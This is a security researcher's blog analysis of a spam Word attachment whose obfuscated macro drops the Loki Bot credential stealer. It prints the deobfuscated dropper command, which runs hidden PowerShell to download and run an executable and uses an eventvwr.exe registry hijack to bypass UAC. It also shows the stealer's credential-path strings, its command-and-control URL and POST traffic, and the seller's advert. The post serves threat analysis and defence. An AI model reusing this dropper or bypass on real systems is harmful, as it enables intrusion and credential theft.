

# Nefarious Macro Malware drops “Loki Bot” to steal sensitive information across GCC countries!

[cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/](https://cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/)

5 years ago

Macro malware are still playing its atrocious activities in the wild, frightening all the sectors around the globe. Latest Spam campaign which flew around GCC countries created a “scary rain” across multiple entities.

This spam mail was not targeted only for a particular entity, but extensively across multiple firms in Middle east, anticipating huge number of victims. On the other hand, the recipients in these mails (BCC) were clearly social engineered.


NB:

*The malware and associated files were analyzed within private secured environment, without actually allowing it to communicate to its command and control*






*While analyzing, we may come across with unhygienic words or phrases. Keep in mind that, malware are built by “Bad Boys”.*

## Let’s Get Serious:

The spam mail which landed on one of the victim’s Mailbox looks like this:




The sender Address could be spoofed, which is the contact email ID of the Cambodia based Business software provider firm “**tztechnology**”. The reputation of the sender IP address is poor:


Details		
IP Address	199.201.110.44	
Fwd/Rev DNS Match 	Yes	
Email Reputation 	Poor	
Web Reputation 	Neutral	
	Last Day	Last Month
Spam Level 	High	Medium
Email Volume 	3.7	3.6

The attachment was a document file and once it is opened, the prompt for enabling the macro starts blinking:

| Still end users are falling for these.. sad truth!!



The word document properties shows, revamped or created date as "Jan 19<sup>th</sup> 2017"




Jumping into the Document Macro, starts with "Document\_Open()", meaning , the code will be right away executed whenever the document is opened.



The VBScript contains lot of junk and unwanted parameters, which would make static analysis to choke. Also parameters inside the code seems to be encoded heavily. So at this point a mixture of static analysis and debugging needs to be done.

When we statically analyze, we can see two modules of codes present in document. Both of the module works together to build a command script and then to run this script via windows script object.



Further debugging and static analysis, found that one of the variable “**Catcustom**” stores command script which was built by the macro on the fly.

crazyvalley	35
qfhnkava	"crouchwait"
catcustom	"cmd.exe /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://silvers
pmwhzmwygijl	811
avocadoorgan	393

The generated code looks like this (after enumeration of temp folder):

```

"C:\Windows\System32\cmd.exe" /c powershell.exe -w hidden -nop -ep bypass (New-Object
System.Net.WebClient).DownloadFile('http://[redacted].com/[redacted].exe';C:\Users\
WINSTO~1\MAR\AppData\Local\Temp\puttyx86.exe') & reg add
HKCU\Software\Classes\mscfile\shell\open\command /d
C:\Users\WINSTO~1\MAR\AppData\Local\Temp\puttyx86.exe /f & eventvwr.exe &
PING -n 15 127.0.0.1>nul &
C:\Users\WINSTO~1\MAR\AppData\Local\Temp\puttyx86.exe

```

The below snippet of code reference is the “bridge of relationship” between two modules of scripts. The earlier mentioned variable “**Catcustom**” which contained the commands were used as a parameter of another function, which is then referenced to the second module “Module1”. The referenced Function parameters “**gfsdhawcbenlte()**” now contains the value of “**catcustom**” variable and “**0**” .

```
Document
If jaguarthank <> otdixyxhuodwg Then
Dim mathtool As Integer
mathtool = 339
'fpqreqwalnndi
Dim cdddzeqrkwwsahbk As String
cdddzeqrkwwsahbk = "futureslice"
'ntwmjwlyp
End If
shuffletypical = Module1.gfsdhawcbenlte (catcustom, 0)

CAD4839202 - Module1 (Code)
(General)
Function gfsdhawcbenlte (whjrdrumawmwul, ezwrelgtrpuwlj)
Dim wjkkcthgbnkabi As Integer
```

Furthermore coming down to the script at second module“Module1”, we can see malicious script was invoked by calling the windows script shell object:

```
(General) gfsdhawcbenlte
dphunkbryjuzhl = 905
'kjppipqgtsabyeb
Dim sourceunveil As String
sourceunveil = "uwglnzmkrlbesup"
flatazard(0) = "new:{72C24DD5-D70A-438}"
flatazard(1) = "B-8A42-98424B88A"
flatazard(2) = "FB8"
gfsdhawcbenlte = GetObject(Join(flatazard, "")).Run(whjrdrumawmwul, ezwrelgtrpuwlj)
End Function

Locals
Project.Module1.gfsdhawcbenlte
Expression Value Type
Module1
whjrdrumawmwul "cmd.exe /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile(http://[redacted].com/[redacted].exe; %TEMP%\puttyx86.exe) & reg add HKCU\Software\Classes\mscfile\shell\open\command /d Va
ezwrelgtrpuwlj 0 Va
```

Now the question is how we understood from this code above, that it invoked windows script shell (with hidden window) to run the malicious code which earlier generated.


If we closely look the above snippet of code,

```
flathazard(0) = "new:{72C24DD5-D70A-438"  
flathazard(1) = "B-8A42-98424B88A"  
flathazard(2) = "FB8}"  
gfsdhwawcbenlte = GetObject(Join(flathazard, "").Run(whjrdrumawmwul, ezwrelgtrpuwlj))
```

The function is getting the “new object” by joining **flathazard(0)**, **flathazard(1)** and **flathazard(2)** to get :

**new:{72C24DD5-D70A-438 B-8A42-98424B88A FB8}**, Now if we go to the registry “**HKEY\_CLASSES\_ROOT\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}**“, this ID refers to the windows script shell object.

Meaning, the function is calling a new windows script shell object instance to run the malicious commands in “**whjrdrumawmwul**”.



We can also see “**whjrdrumawmwul**” contains the value of generated script. The “**ezwrelgtrpuwlj**” contains the value “**0**”.

| That said, Let’s see the syntax for **.Run** command in **VB**:

**Objshell.Run (strCommand, [intWindoStyle], [bWaitOnReturn])**

“**Objshell**”, We already found how shell object was invoked and we saw “**strCommand**” value in variable “**whjrdrumawmwul**”. Now “**ezwrelgtrpuwlj**” holds the value “**0**” which means the “**hide window**”. The “**bWaitOnReturn**” if left blank immediately returns to script execution.

Hence we found that the below code was executed by invoking windows script shell object and being executed in hidden window:

```
"C:\Windows\System32\cmd.exe" /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://[redacted].com/[redacted].exe','C:\Users\WINSTO~1\MAR\AppData\Local\Temp\puttyx86.exe') & reg add HKCU\Software\Classes\mscfile\shell\open\command /d C:\Users\WINSTO~1\MAR\AppData\Local\Temp\puttyx86.exe /f & eventvwr.exe & PING -n 15 127.0.0.1>nul & C:\Users\WINSTO~1\MAR\AppData\Local\Temp\puttyx86.exe
```

We can also see that the PowerShell is invoked in hidden mode, bypassing execution policy to download a malicious executable from a remote host, which is then renamed to “**puttyx86**”. The addition of this temp path of malicious executable to the above registry and then invoking the “eventvwr.exe” is a technique to bypass the UAC feature in order to acquire highest integrity for executing the malware.

The above fileless technique of bypassing UAC has already been explained in my post of a real-life scenario::

[https://www.linkedin.com/pulse/newborn-macro-malware-generates-powershell-script-winston?trk=pulse\\_spock-articles](https://www.linkedin.com/pulse/newborn-macro-malware-generates-powershell-script-winston?trk=pulse_spock-articles)

Real-life usage of the technique and similar code generated by Macro is drafted in below article:

<https://cysinfo.com/cyber-attack-targeting-indian-navys-submarine-warship-manufacturer/>

And the mechanism of UAC bypass technique drafted in the blog:


<https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/>

**Let’s find whether the above findings are true by doing a dynamic analysis:**

As we discussed earlier the windows script shell object is invoked via registry with Class ID


Time ...	Process Name	PID	Operation	Path	Result	Detail
3:46:5...	WINWORD.EXE	1768	RegQueryKey	HKCR\CLSID\{72C24DD5-D70A-438B-8A42-98424888AFB8}	SUCCESS	Query: Name
3:46:5...	WINWORD.EXE	1768	RegQueryValue	HKCR\CLSID\{72C24DD5-D70A-438B-8A42-98424888AFB8}\(Default)	SUCCESS	Type: REG_SZ, Le...
3:46:5...	WINWORD.EXE	1768	RegQueryKey	HKCR\CLSID\{72C24DD5-D70A-438B-8A42-98424888AFB8}	SUCCESS	Query: Name
3:46:5...	WINWORD.EXE	1768	RegQueryValue	HKCR\CLSID\{72C24DD5-D70A-438B-8A42-98424888AFB8}\(Default)	SUCCESS	Type: REG_SZ, Le...
3:46:5...	WINWORD.EXE	1768	RegQueryKey	HKCR\CLSID\{72C24DD5-D70A-438B-8A42-98424888AFB8}	SUCCESS	Query: Name

Next the “**cmd.exe**” has the entire script running under it.



As it step by step runs the commands in cmd.exe,

PowerShell is invoked with the script to download the malware from remote host and save to temp folder as “puttyx86.exe”




## Glitch while Acquiring Highest Integrity via Eventvwr.exe

In our sample, there happened a small glitch while script was trying to write the malware path to “**HKCU\Software\Classes\mscfile\shell\open\command**” registry to be executed via **eventvwr.exe**. It may be due to extra slashes, because when I tweaked commands from “\” to “\” the Registry write was successful.

Due to the glitch, original eventvwr.msc popped up instead of malware when the macro was executed, quiet unlucky.

If you see in the below picture the “**mmc.exe**” initiated the **eventvwr.msc** normally.






However, even though the script couldn't invoke malware via "eventvwr" technique, after a 15 PING-sleep (Using Ping command 15 times redirecting to nul), the malware at temp folder was directly invoked. Which made the malware to run with medium integrity.

Once the "puttyx86.exe" is executed normally, it spawns a child of its own and kills the parent process. Also managed to delete the executable from the path.


puttyx86.exe	2516	3.15 MB	winston\REM	Billy The Goat	Medium
puttyx86.exe	2120	1.32 MB	winston\REM	Billy The Goat	Medium

```
Deleted (2/15/2017 5:41:17 PM): C:\ProgramData\DirectoryMonitor\winston.marydasan\MonitoringEvents.sqlite-journal
Deleted (2/15/2017 5:41:19 PM): C:\Users\winston.marydasan\AppData\Local\Temp\puttyx86.exe
Deleted (2/15/2017 5:41:20 PM): C:\ProgramData\DirectoryMonitor\winston.marydasan\MonitoringEvents.sqlite-journal
```

Then if we see the handles for the child process, it acquired full access for each thread. The Malware must have its own elevation feature.



The dropped malware seems to be protected by the infamous “ASprotect” executable protection, header of the file also throws the acknowledgment with bogus section names.




### Section Viewer

Name	V. Offset	V. Size	R. Offset	R. Size	Flags
	0007A000	00002000	00030000	00000000	E0000040
	0007C000	00003000	00030000	00002400	E0000040
	0007F000	00001000	00032400	00000000	E0000040
	00080000	00001000	00032400	00000200	E0000040
	00081000	00009000	00032600	00000000	E0000040
.rsrc	0008A000	00087000	00032600	00022E00	E0000040
.HOKKES	00111000	0004B000	00055400	0004A600	E0000040
.adata	0015C000	00001000	0009FA00	00000000	E0000040

After a tug of war between the malware using static code analysis and debugging, found that the piece of malware was piece of infamous “**Loki Bot**”.

*“Loki Bot is resident loader and password and cryptocoin-wallet stealer. It comes with wallet checker (coin inspector, read below). It can steal passwords from browsers, ftp/ssh, e-mail and poker clients. Written in C++. Works on Windows XP, Vista, 7, 8, 8.1. and Linux. UAC Bypass”*

Below shown pictures are snips from the actual interface of main Loki Bot and



The screenshot displays the 'Loki PWS' interface. At the top, there is a menu bar with 'Main', 'Bots', 'Reports', 'Settings', and 'Exit'. Below the menu bar, there are buttons for 'Delete All' and 'Show search', and a grid icon on the right. A 'Reports' dropdown menu is open, showing options: 'HTTP', 'FTP/SSH', 'Others', and 'Wallet'. The main area contains a table with the following columns: 'Report', 'GUID', 'Name', 'IP Address', 'Data', and 'Date'. The 'Report' column contains the word 'Open' in red text. The 'GUID' column is mostly blacked out. The 'Name' column contains entries like '33333 - v.1.6' and '22222 - v.1.6'. The 'IP Address' column is also blacked out. The 'Data' column contains numbers, and the 'Date' column contains timestamps from 2016-01-11.

Report	GUID	Name	IP Address	Data	Date
Open				19	2016-01-11 01:01:18
Open		33333 - v.1.6		6	2016-01-11 00:52:54
Open		33333 - v.1.6		23	2016-01-11 00:50:56
Open		33333 - v.1.6		62	2016-01-11 00:49:39
Open		33333 - v.1.6		2	2016-01-11 00:49:39
Open		33333 - v.1.6		13	2016-01-11 00:48:46
Open		33333 - v.1.6		120	2016-01-11 00:42:57
Open		33333 - v.1.6		37	2016-01-11 00:42:48
Open		33333 - v.1.6		37	2016-01-11 00:41:48
Open		22222 - v.1.6		2	2016-01-11 00:40:41
Open		33333 - v.1.6		19	2016-01-11 00:39:56
Open		33333 - v.1.6		5	2016-01-11 00:38:54
Open		33333 - v.1.6		2	2016-01-11 00:35:32
Open		33333 - v.1.6		7	2016-01-11 00:33:12
Open		33333 - v.1.6		4	2016-01-11 00:32:39
Open		33333 - v.1.6		13	2016-01-11 00:31:56
Open		33333 - v.1.6		113	2016-01-11 00:31:03
Open		33333 - v.1.6		2	2016-01-11 00:28:38
Open		33333 - v.1.6		25	2016-01-11 00:26:32
Open		33333 - v.1.6		2	2016-01-11 00:26:19

Loki PWS		Main	Bots ▾	Reports ▾	Settings	Exit
<b>Statistics</b>						
Total Data						34797
Total HTTP/HTTPS						34013 (97.7%)
Total FTP/SFTP/SSH						249 (0.7%)
Total Others						520 (1.5%)
Total Wallets						15 (0%)
Total Reports						621
New Reports in the last hour						37
New Reports in the last 24 hours						304
Total Bots						612
Total new Bots in the last 24 hours						302
Total online Bots in the last hour						175
Total online Bots in the last 24 hours						309
Total online Bots in the last 7 days						612

The dropped Malware had most of the Anti-analysis capabilities like VMawareness, Debugger detection, System time check and more. Carefully tweaking these will make malware into running as if in a physical machine.

If we try to see the strings of malware without unpacking from the ASProtect protection mechanism, we will not get any “sweet fruit”. But after debugging and disassembling, we will get good amount of data about of the malware which is obviously fruitful.

That said, I was able to retrieve and filter very useful data about the malware which gives enough evidence about the above said malware.

The capability of this malware is enormous and even have capability of receiving the Bot commands from “BOT Boss”.

The malware have capabilities for luring all the FTP flavored credentials, SMTP, Browser data, DBs information, have inbuilt Key logger features and much more. The portions of retrieved strings are below:

```

%s\Fastream NETFile\My FTP Links
%s\NexusFile\userdata\ftpsite.ini
%s\NexusFile\ftpsite.ini
%s\INSOFTWARE\NOVAFTP\NOVAFTP.DB
%s\notepad++\plugins\config\NppFTP\NppFTP.xml
%s\Odin Secure FTP Expert\QFDefault.QFQ
%s\Odin Secure FTP Expert\SiteInfo.QFP
PublicKeyFile
TerminalType
PortNumber
Software\9bis.com\KITTY\Sessions
Software\SimonTatham\PUTTY\Sessions
_dec
%s_dec
lsasrv.dll
lsass.exe
lck
%s\Microsoft\Credentials
Config Path
Software\VanDyke\SecureFX
%s\Sessions
*.ini
%s\SftpNetDrive
*.cfg
%s\Sherrrod Computers\sherrrod FTP\Favorites
#document.favoriteManager*
%s\SmartFTP
{*.xml}
%s\Staff-FTP\sites.ini
%s\Steed\bookmarks.txt
%s\SuperPutty
Sessions*
sftp://
ftp://

```

```

Passwd
POP3Server
POP3Port
Email
SMTP Email Address
SMTP Server
SMTP User Name
SMTP User
POP3 Server
POP3 User Name
POP3 User
NNTP Email Address
NNTP User Name
NNTP Server
IMAP Server
IMAP User Name
IMAP User
HTTP User
HTTP Server URL
HTTPMail User Name
HTTPMail Server
POP3 Port
SMTP Port
IMAP Port
POP3 Password2
IMAP Password2
NNTP Password2
HTTPMail Password2
SMTP Password2
POP3 Password
IMAP Password
NNTP Password
HTTP Password
SMTP Password

```

```

%s\%s\User Data\Default\web Data
%s\%s>Login Data
%s\%s\Default>Login Data
Comodo\Dragon
MapleStudio\ChromePlus
Google\Chrome
Nichrome
RockMelt
Spark
Chromium
Titan Browser
Torch
Yandex\YandexBrowser
Epic Privacy Browser
CocCoc\Browser
Vivaldi
Comodo\Chromodo
Superbird
Coowon\Coowon
Mustang Browser
360Browser\Browser
CatalinaGroup\Citrio
Google\Chrome SxS
Orbitum
Iridium
\Opera\Opera Next\data
\Opera Software\Opera Stable
\Fenrir Inc\sleipnir\setting\modules\ChromiumViewer
\Fenrir Inc\sleipnir5\setting\modules\ChromiumViewer
vaultcli.dll
tSoftware\Microsoft\Internet Explorer\IntelliForms\Storage2
file:///
Software\Microsoft\Internet Explorer\TypedURLs
%cd\login_icons

```

In addition to that, malware gets the details about the current user, Machine name, FQDN, MachineGuid and so on

A hardcoded URL was very promising though, suspecting the above collected details and this URL must have some connection.

```

getaddrinfo
freeaddrinfo
ws2_32.dll
GetLastError
SetLastError
HeapAlloc
HeapFree
GetProcessHeap
KERNEL32.dll
CoInitialize
CoUninitialize
CoCreateInstance
ole32.dll
OLEAUT32.dll
http://lacor.co/oga/fre.php

```

If we see the network traffic generated by the malware, we can see a promising “Post” traffic to the above found hardcoded URL:

All the communication and analysis were done completely isolated environment without actually allowing malware to communicate actual CNC servers and DNS.

The image displays a network traffic capture with a highlighted entry for a POST request. Below it, a 'Follow TCP Stream' window shows the raw data of the request, with red arrows pointing to specific fields.

Seq	Len	Source	Destination	Protocol	Details
121	74	287408	192.168.194.128	192.168.194.172	TCP 80 > 49170 [ACK] Seq=1 Ack=1694 Wi
122	74	287426	192.168.194.172	192.168.194.128	HTTP POST /oga/fre.php HTTP/1.0
123	74	287430	192.168.194.128	192.168.194.172	TCP 80 > 49170 [ACK] Seq=1 Ack=2647 Wi
124	74	287638	192.168.194.128	192.168.194.172	TCP [TCP segment of a reassembled PDU]
125	74	287840	192.168.194.172	192.168.194.128	TCP 49170 > 80 [FIN, ACK] Seq=2647 Ack

**Stream Content:**

```

POST /oga/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: lacor.co
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: 690A9E14
Content-Length: 2413
Connection: close
...ckav.ru...W.I.N.S...w.i.n...
@...k...0...B.7.E.1.C.2.C.C.9.8.0.6.6.B.2.5.0.D.D.B.2.1.
2.3...lHb9z...&.H...<?xml. version.="1.00.|.c?d.`g.UTF-`8"?>
.<Np~.|P.defaultC.czH.B%.ONFIGsDzRU\...USE.N:AM.{@>H0*T...outp...h6w....d.Ralt!.a5
$cle.rLWO...P.=m.n.Qt... ..<Profi.FsT/..k.2....
...st.d.l.B.v...E.Z...a3g.Set.gSs.C...am}

```

The malware after acquiring enough details such as Username, Machinename, FQDN, and lots of stolen data from the victim machine would then try communicate with the command and control server as we can see in the above stream of packet.


The user agent “**Mozilla/4.08 (Charon; Inferno)**” used has been infamous as it was used in other **Fareit Trojan or PonyLoader**. At this point the Loki exhibits similar kind of behavior though.

The host name seems to be parked at “185.29.10.252” which is a Latvia based IP which is malicious.

Geolocation	
Map	Satellite

WHOIS	
rDNS	252.10.29.185 in-addr.arpa.
BGP Prefix	185.29.10.0/24
CC	SE
ASN	60567
ASN Name	N/A
Org. Name	DataClub S.A.
Register	dataclub.biz

The relation between the IP address, host with hash can be seen below:



Emerging threats have already written rule comprising the malicious user agent:

<http://doc.emergingthreats.net/bin/view/Main/2021641>


Let’s move the spot light to the string “ckav.ru” in the stream above shown. From initial glance, we can suspect it might be Russian based malicious website. Even though the domain exists privately, could not find any clear context with the sample we are analyzing.

```
Stream Content
POST /oga/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; In
Host: lacor.co
Accept: /*/*
Content-Type: application/octet-stre
Content-Encoding: binary
Content-Key: 690A9E14
Content-Length: 2413
Connection: close
...ckav.ru...
@...k...
2.3...lHb9z...&H...<?xml, versi
```

Anticipating if I can get any clue from the unpacked sample strings, I was able to find the missing characters and confirmed it was the URL of a **Russian underground forum**:

```
Port
UserName
Password
MAC=%02X%02X%02XINSTALL=%08X%08Xk
Fuckav.ru
```

When we do a blind search with this URL and suspecting Loki Bot, we will get very promising result:



This Bot is being sold in a **Russia underground Forum**. If we see into this website, there are lot other tools which one can register and join the group. After successfully registering we should connect with an already registered account with Jabber and then have to link. Once this is completed anyone can download or share any tools or techniques

| Really Scary!!



С НОВЫМ ГОДОМ!!!

UAS YOUR PROTECTION IS OUR PROFESSION...

Бесплатный анонимный сканер антивирусов | Качественный VPN Service MultiVPN - PPTP/OpenVPN/DoubleVPN

Реклама на форуме | Помощь форуму | Аварийный блог

Наш Jabber-сервер расположен по адресу [fackav.in](https://fackav.in). Добро пожаловать!!!

FackAV (ФакАВ)

Имя:   Запомнить?  
 Пароль:

Регистрация | Сообщество | Сообщения за день | Поиск

Добро пожаловать на FackAV - Форум о криптограх.

Если это ваш первый визит, рекомендуем почитать [справку](#) по форуму. Для размещения своих сообщений необходимо [зарегистрироваться](#). Для просмотра сообщений выберите раздел.

Top-5

Новые пользователи	Последние сообщения			
1 <a href="#">dvarzelia</a> 14.02	1 [14.02, 21:21] GR Crypter by 14bs	5,068;9	<a href="#">14bs</a>	Криптоны
2 <a href="#">Zicoff</a> 14.02	0 [14.02, 21:19] Приват брут	613;2	<a href="#">xv1ad</a>	Халива
3 <a href="#">obensidmido</a> 14.02	0 [14.02, 19:37] Пароли	318;0	<a href="#">Soso43k</a>	Халива
4 <a href="#">Vpr_Lob</a> 14.02	0 [14.02, 18:31] Юрpton_7.1 - исходники криптогра на C++...	11,262;27	<a href="#">guest88</a>	C, C++
5 <a href="#">boby</a> 14.02	0 [14.02, 17:15] Взлом wifi из под android	2,693;8	<a href="#">igon08</a>	Помощь
Популярные разделы	[14.02, 16:59] Дедки/Радмачы	348,456;411	<a href="#">igon08</a>	Халива
<a href="#">iv.ru</a> Криптоны	[14.02, 16:10] PID и номер порта	273;0	<a href="#">denis7650</a>	Pascal, Delphi
				18,671

Some more deep search gives more result about the Bot. Even advertisement about the same. The features described in this Russian forum matches with our finding earlier:

**Loki Bot - Password & Coin Wallet Stealer**

**Loki Bot - Resident Loader and Password & Coin Wallet Stealer**

Loki Bot is resident loader and password and cryptocoin-wallet stealer. It comes with wallet checker (coin inspector, read below). It can steal passwords from browsers, ftp/ssh, e-mail and poker clients. Written in C++. Works on Windows XP, Vista, 7, 8, 8.1. and Linux. Bin size 70kb.

**Loader features:**

- Startup (resident loader)
- Download & Run (exe | dll)
- Download & Drop
- Update bot
- Uninstall bot
- Get password from bot per request
- Geotargetting, load to selected country

**Supported Browsers:**

- Internet Explorer
- Mozilla Firefox
- Google Chrome
- K-Meleon
- Comodo Dragon
- Comodo IceDragon
- SeaMonkey
- Opera
- Safari
- CoolNovo
- Rambler Nichrome
- RockMelt
- Baidu Spark
- Chromium
- Titan Browser
- Torch Browser
- Yandex.Browser
- Epic Privacy Browser
- Sleipnir Browser
- Vivaldi
- Coowon Browser
- Superbird Browser
- Chromodo Browser
- Mustan Browser
- 360 Browser
- Cyberfox
- Pale Moon

**Supported FTP/VNC clients:**

- Total Commander
- FTPBox
- FtpInfo
- Lines FTP
- FullSync
- Nexus File
- JaSftp
- FTP Now
- Xftp
- Easy FTP
- GoFTP
- NETFile
- Blaze Ftp
- Staff-FTP
- DeluxeFTP
- ALFTP
- FTPGetter
- WS\_FTP
- AbleFtp
- Automize
- RealVNC
- TightVNC
- Syncovary
- mSecure Wallet
- SmartFTP
- FreshFTP
- BitKinex
- UltraFXP
- FTP Rush
- Vandyk SecureFX
- OdinSecure FTP Expert
- Fling
- ClassicFTP
- Maxthon browser
- Kitty(login+private key)
- WinSCP

**Supported E-mail clients:**

- Outlook (2003-2013)
- Mozilla Thunderbird
- Foxmail
- Pocomail
- Incredimail
- Gmail Notifier Pro
- SNetz Mailer
- Checkmail
- Opera Mail
- FossaMail
- MailSpeaker
- yMail

Even the features, payment details and contact details are published with it!

```
Features:
- Get, process wallet from Panel or from Directory
- Retrieve balance
- Check if locked or not (if locked, then can start brute (pre defined list and generated list (from report)))
- Check transactions (yes/no)
- Update blocks
- Backup/Update/Delete processed wallet
- Priority (Panel)
- Bruteforce locked wallet, from list, or from user's pass list

Prices:
Based on Stealer: 300$
- Wallet module: 150$ (+20$ Coin Inspector)
- Loader module: 200$

Based on Loader: 200$
- Wallet module: 150$ (+20$ Coin Inspector)
- Stealer module: 300$

Domain/IP change: 25$

Updates are free. Prices include support.

Payment methods:
-WMZ
-BTC +5%

Contact:
Jabber: [redacted].pl or [redacted].im
```

## With an embarrassed mind let me conclude..

---

Are we in a digitally connected world? If the answer is yes, then Obviously Malware is the biggest nightmare for all the entities, irrespective of its geographical location or nature of business. In this Era of Cyber War, Phishing e-mails with targeted macro malware are exponentially circulated by the Offenders across the Globe. Of course, the easiest weakness spotted by offenders is “Human Weakness”. Anyways offenders will stay fingers crossed, whether the end user “allows” himself to respond these malicious attachments or simply “drops” the plan.

As a cautionary note, as we saw in this article, hack advises, hire a hacker, malware, hack tools and anything is now easily available everywhere in the Internet and abundant in the deepest corners of the web. This is very scary right? , so a rigid security posture should be maintained by all the entities to defend these types of threats.

We should be in a position to tell boldly,

“If the Offenders are finding new techniques and tactics, so are we”!!!

## Funny Note 😊

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The malware author of the above malware must be a fan of cartoon characters from the below file properties comments:

```
Version info - File Type : Unknown
File Version Info Size=1548 -> 060Ch
Translations : 040904b0 Language : English (U.S.)
CompanyName = Old McDonald's Farm
FileDescription = Billy The Goat
FileVersion = 2.6.0.0
InternalName = ***
LegalCopyright = ©2007-2012 Old McDonald's Farm
LegalTradeMarks = ***
OriginalFilename = ***
ProductVersion = ***
Comments = Billy the goat ate all the autorun.inf files...because Old McDonald was sick of all the viruses and worms on
```

Comments = *“Billy the goat ate all the autorun.inf files...because Old McDonald was sick of all the viruses and worms on his farm”*



*Billy the Goat, who is always hungry ;)*



*Old MacDonald's Farm*

## References

<https://blog.sensecy.com/tag/loki-bot/>

<https://hackforums.net/showthread.php?tid=5456831>

<https://www.scmagazine.com/floki-bot-a-zeus-wannabe-with-delusions-of-grandeur/article/569329/>

<https://digital-forensics.sans.org/blog/2009/11/23/extracting-vb-macros-from-malicious-documents/>